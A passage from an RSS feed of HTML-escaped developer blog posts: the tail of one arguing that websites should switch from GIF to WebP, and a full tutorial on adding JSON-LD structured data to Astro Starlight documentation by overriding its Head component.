&lt;p&gt;Believe it or not, the motivation behind the invention of the GIF had nothing to do with looping animations. It was all about performance. Back in 1987 (before the web was even a thing), &lt;a href="https://www.smithsonianmag.com/history/brief-history-gif-early-internet-innovation-ubiquitous-relic-180963543/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;CompuServe's Steve Wilhite &amp;amp; team&lt;/a&gt; needed a way to save, share, and render images without hogging a computer's RAM or storage.&lt;/p&gt;

&lt;p&gt;The Graphics Interchange Format (GIF) was the result. It sported a relatively efficient &lt;a href="https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Welch?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;compression algorithm&lt;/a&gt;, it could access 256 distinct colors per frame, and it could even contain &lt;a href="https://www.discovermagazine.com/technology/what-is-the-history-of-the-gif?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;multiple frames&lt;/a&gt; in a single file.&lt;/p&gt;

&lt;p&gt;This was all big deal at the time, but the &lt;em&gt;animated&lt;/em&gt; GIFs we're more familiar with didn't hit the scene until 1995, when &lt;a href="https://www.acmi.net.au/works/61354--netscape-navigator-2-gif/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Netscape Navigator 2.0 was released&lt;/a&gt;. It was the first browser that supported looping GIF animations, leading to some interesting, now-vintage web art. If you'd like to relive some of them yourself, check out &lt;a href="https://gifcities.org/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;GifCities&lt;/a&gt;. You'll find some gems:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WSClLKml--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://cms.macarthur.me/content/images/2024/08/America-Tribute.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WSClLKml--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://cms.macarthur.me/content/images/2024/08/America-Tribute.gif" alt="weird GIF" width="350" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since then, the GIF has been through a lot, including some fierce licensing fights that nearly ended its role on the internet &lt;a href="https://archive.junkee.com/curious-story-day-told-burn-gifs/192678?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;in the late 90s&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But soon enough, it intersected with a growth of meme culture and the explosion of digital connectedness. It quickly emerged as &lt;a href="https://medium.com/ipg-media-lab/the-enduring-popularity-of-gifs-in-digital-culture-54763d7754aa?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;the preferred format&lt;/a&gt; for sending bite-sized, animated media between people. And that set up GIF platforms like &lt;a href="https://tenor.com/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Tenor&lt;/a&gt; and Giphy to thrive.&lt;/p&gt;

&lt;h2&gt;
  
  
  Times (and Tech) Have Changed
&lt;/h2&gt;

&lt;p&gt;The technical implications of the GIF were significant at the time, but today, the landscape is different, and there’s a really good alternative available: WebP. Among the benefits:&lt;/p&gt;

&lt;h3&gt;
  
  
  Significantly broader color depth.
&lt;/h3&gt;

&lt;p&gt;The GIF supports a maximum of 256 colors. WebP, however, touts a depth of 24 bits, which amounts to &lt;em&gt;16.7 million colors&lt;/em&gt;, meaning you're able to produce far more vibrant; detailed images than before.&lt;/p&gt;

&lt;h3&gt;
  
  
  More efficient (and flexible) compression.
&lt;/h3&gt;

&lt;p&gt;Lempel–Ziv–Welch, the compression algorithm behind the GIF, is an old, straighftforward, and reliable one. But it's not the most efficient, it isn't suited for &lt;a href="https://www.techtarget.com/whatis/definition/LZW-compression?ref=cms.macarthur.me#:~:text=One%20drawback%20of%20LZW%20compression%20is%20that%20compressed,fees%20may%20get%20added%20to%20the%20product%20cost." rel="noopener noreferrer"&gt;datasets with repetitive data&lt;/a&gt;, and it sometimes gets hairy due to &lt;a href="https://www.loc.gov/preservation/digital/formats/fdd/fdd000135.shtml?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;licensing&lt;/a&gt;restrictions.&lt;/p&gt;

&lt;p&gt;WebP, on the other hand, was born out of the &lt;a href="https://en.wikipedia.org/wiki/VP8?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;VP8 video format&lt;/a&gt; and uses a more modern compression approach. Both lossy &amp;amp; lossless compression is supported, making it more flexible than its legacy counterpart as well, depending on your needs. To put it plainly, WebP was built for image animations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Smaller file size.
&lt;/h3&gt;

&lt;p&gt;Aside from all of that, another big advantage over GIF is the file size reduction for most images. On average, lossy &lt;a href="https://developers.google.com/speed/webp/faq?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;WebP animations are 64% smaller&lt;/a&gt;, while lossless versions are 19% smaller. Given the amount of imagery on the web, widespread mobile connectivity, and the SEO implications, this is no trivial benefit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Still, Some Vehement Resistance
&lt;/h2&gt;

&lt;p&gt;Search for "WebP" on Reddit, and you're going to see a lot of this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Z2fB1u2m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cms.macarthur.me/content/images/2024/08/image-2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Z2fB1u2m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cms.macarthur.me/content/images/2024/08/image-2.png" width="788" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's all over X too:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--brOU07T5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cms.macarthur.me/content/images/2024/08/image-1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--brOU07T5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cms.macarthur.me/content/images/2024/08/image-1.png" width="618" height="259"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The nerds of the world might respect WebP for its technical advantages, but we're in a bubble. The rest of reality&lt;a href="https://imgur.com/gallery/image-webp-o6dMp92?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;vehemently hates it&lt;/a&gt;. That's largely because of compability issues with software that's &lt;em&gt;not&lt;/em&gt; the web. If you download an animated WebP in the Windows Photos app, for example, it won't play. You'll just get a still. Especially when the format was still relatively new, I could see that being pretty annoying if you're one to right-click + download lots of pictures from online.&lt;/p&gt;

&lt;p&gt;But at this point, I suspect much of that hatred is riding the momentum of the cultural bandwagon. It's cool to hate on WebP, much like it is Bootstrap, Internet Explorer, or PHP. In addition to the fact that software is still rapidly moving to &lt;a href="https://en.wikipedia.org/wiki/WebP?ref=cms.macarthur.me#Graphics_software" rel="noopener noreferrer"&gt;support animated WebPs&lt;/a&gt;, legitimate criticism is thin, at least for the vast majority of use cases on the web.&lt;/p&gt;

&lt;h2&gt;
  
  
  Just Do It Already
&lt;/h2&gt;

&lt;p&gt;The reactionary defense of the GIF makes sense given the cultural role it's enjoyed. But the technical benefits alone are quickly eroding any effort to resist modern formats like WebP.&lt;/p&gt;

&lt;p&gt;Particularly for the web, straight-up moving from GIF to WebP offers very few (if any) downsides. There's some work involved in manually converting images yourself, but solutions exist for automating the entire process as well – without even changing your image URLs (hard plug: &lt;a href="https://picperf.io/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;consider PicPerf.io&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;If you’re serving GIFs on your website, consider the move. For all the reasons mentioned here, may be well-worth the effort.&lt;/p&gt;

</description>
      <category>webp</category>
      <category>gif</category>
      <category>performance</category>
    </item>
    <item>
      <title>Adding Structured Data in Astro's Starlight Documentation Framework</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Tue, 21 May 2024 02:46:35 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/adding-structured-data-in-astros-starlight-documentation-framework-29hb</link>
      <guid>https://forem.com/alexmacarthur/adding-structured-data-in-astros-starlight-documentation-framework-29hb</guid>
      <description>&lt;p&gt;I remember when the Astro team first announced &lt;a href="https://starlight.astro.build/?ref=cms.macarthur.me"&gt;Starlight&lt;/a&gt;, their documentation framework. The timing was perfect. I had been meaning to overhaul the docs for &lt;a href="https://jamcomments.com/?ref=cms.macarthur.me"&gt;JamComments&lt;/a&gt; and &lt;a href="https://www.typeitjs.com/?ref=cms.macarthur.me"&gt;TypeIt&lt;/a&gt;, but didn’t want to do so on the shoddy setups they were using at the time.&lt;/p&gt;

&lt;p&gt;Since then, all of my side project documentation is built with Starlight, and I'm not moving away anytime soon. I‘d still call the project relatively new, but they’re iterating quickly, so I'm sure things are only going to get even better as time goes on.&lt;/p&gt;

&lt;p&gt;At the time of writing, however, there’s one thing they don’t generate for you out of the box: structured data. But they &lt;em&gt;do&lt;/em&gt; allow you to &lt;a href="https://starlight.astro.build/guides/overriding-components/?ref=cms.macarthur.me"&gt;override individual UI components&lt;/a&gt;. That makes it relatively easy to roll some JSON-LD yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Overriding the Head Component
&lt;/h2&gt;

&lt;p&gt;The only component we're interested in overriding is &lt;code&gt;&amp;lt;Head&amp;gt;&lt;/code&gt;, which very shockingly renders the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of your HTML pages. In your Starlight configuration, add a &lt;code&gt;Head&lt;/code&gt; property to &lt;code&gt;components&lt;/code&gt; and point it to the new component we're about to build:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// astro.config.mjs

import { defineConfig } from "astro/config";
import starlight from "@astrojs/starlight";

export default defineConfig({
  // ... other configuration stuff.
  integrations: [
    starlight({
      components: {
        Head: "/src/components/docs/Head.astro",
      },
    }),
  ],
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next up, let's do some light scaffolding for the our new &lt;code&gt;&amp;lt;Head /&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
// our custom Head.astro

import Default from "@astrojs/starlight/components/Head.astro";

const { title, description } = Astro.props.entry.data;
---

&amp;lt;Default {...Astro.props} /&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you refresh your documentation locally, you'll notice that nothing's changed. That makes sense. All we're doing is rendering the same &lt;code&gt;Default&lt;/code&gt; component it would've rendered anyway.&lt;/p&gt;

&lt;p&gt;Quick note: most of the time, you'll want to include a &lt;code&gt;&amp;lt;slot /&amp;gt;&lt;/code&gt; as a child of the &lt;code&gt;&amp;lt;Default /&amp;gt;&lt;/code&gt; component to ensure any children passed in are rendered in the correct spot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
import Default from "@astrojs/starlight/WhateverComponent.astro";
---

&amp;lt;Default&amp;gt;
  &amp;lt;slot/&amp;gt;
&amp;lt;/Default&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But the &lt;code&gt;&amp;lt;Head /&amp;gt;&lt;/code&gt; component &lt;a href="https://github.com/withastro/starlight/blob/main/packages/starlight/components/Head.astro?ref=cms.macarthur.me"&gt;is a little different&lt;/a&gt;. Instead of rendering a block of JSX, it's building an array of meta tags that's mapped to JSX. No &lt;code&gt;children&lt;/code&gt; involved. So, at the time of writing, we're safe to leave the &lt;code&gt;&amp;lt;slot /&amp;gt;&lt;/code&gt; out.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building Structured Data
&lt;/h2&gt;

&lt;p&gt;Next up, we can build our JSON-LD. We'll use the &lt;code&gt;schema-dts&lt;/code&gt; for type safety and easier schema construction. You'll need to &lt;a href="https://schema.org/?ref=cms.macarthur.me"&gt;choose the schema type&lt;/a&gt; most appropriate for your content, but I'll be using &lt;code&gt;TechArticle&lt;/code&gt; here, which will be used as a generic for the &lt;code&gt;WithContext&lt;/code&gt; type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
import type { Props } from "@astrojs/starlight/props";
import Default from "@astrojs/starlight/components/Head.astro";
import type { TechArticle, WithContext } from "schema-dts";
---

&amp;lt;Default {...Astro.props} /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's now a matter of building some structured data, using the data provided by &lt;code&gt;Astro.props.entry.data&lt;/code&gt; for page-specific information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
import type { Props } from "@astrojs/starlight/props";
import Default from "@astrojs/starlight/components/Head.astro";
import type { TechArticle, WithContext } from "schema-dts";

const { title, description } = Astro.props.entry.data;

const techArticleSchema: WithContext&amp;lt;TechArticle&amp;gt; = {
    "@context": "https://schema.org",
    "@type": "TechArticle",
    headline: title,
    description: description,
    url: Astro.url.href,
    author: {
      "@type": "Organization",
      name: "JamComments",
      url: "https://jamcomments.com",
      logo: {
        "@type": "ImageObject",
        url: "https://jamcomments.com/img/open-graph.jpg"
      }
  },
  image: {
    "@type": "ImageObject",
    url: "https://jamcomments.com/img/open-graph.jpg"
  }
};
---

&amp;lt;Default {...Astro.props} /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last step, of course, is to stringify it into your HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
  // ...other stuff.
---

&amp;lt;Default {...Astro.props} /&amp;gt;

&amp;lt;script 
    type="application/ld+json" 
    set:html={JSON.stringify(techArticleSchema)}&amp;gt;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you refresh a documentation page now, you'll see it rendered in your HTML as expected:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gRcYo4z7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cms.macarthur.me/content/images/2024/05/image-3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gRcYo4z7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cms.macarthur.me/content/images/2024/05/image-3.png" alt="JSON-LD structured data rendered into the HTML" width="800" height="223"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of course, you're free to tweak anything you like, including the position of the markup relative to everything else in the &lt;code&gt;&amp;lt;head /&amp;gt;&lt;/code&gt;. In the spirit of not holding up anything critical to a user's experience, I prefer to stick it at the end. But do what you want. No one will die either way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't Forget to Validate It
&lt;/h2&gt;

&lt;p&gt;After deploying it, you're not quite done. Verify that you actually just shipped some valid structured data.&lt;/p&gt;

&lt;p&gt;There are two go-to resources for this: the &lt;a href="https://validator.schema.org/?ref=cms.macarthur.me"&gt;schema.org validator&lt;/a&gt; and &lt;a href="https://search.google.com/test/rich-results?ref=cms.macarthur.me"&gt;Google's rich results test&lt;/a&gt;. Use both. You'd be surprised what one catches when the other says everything's fine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check in w/ the Starlight Project
&lt;/h2&gt;

&lt;p&gt;Like I said: the Astro team's been moving pretty quickly on Starlight ever since it's been around. So, it's very possible there will be a dedicated API for doing this sort of thing soon enough. So, keep tabs on their documentation as you're tinkering.&lt;/p&gt;

</description>
      <category>comments</category>
      <category>documentation</category>
      <category>jsonld</category>
    </item>
  </channel>
</rss>
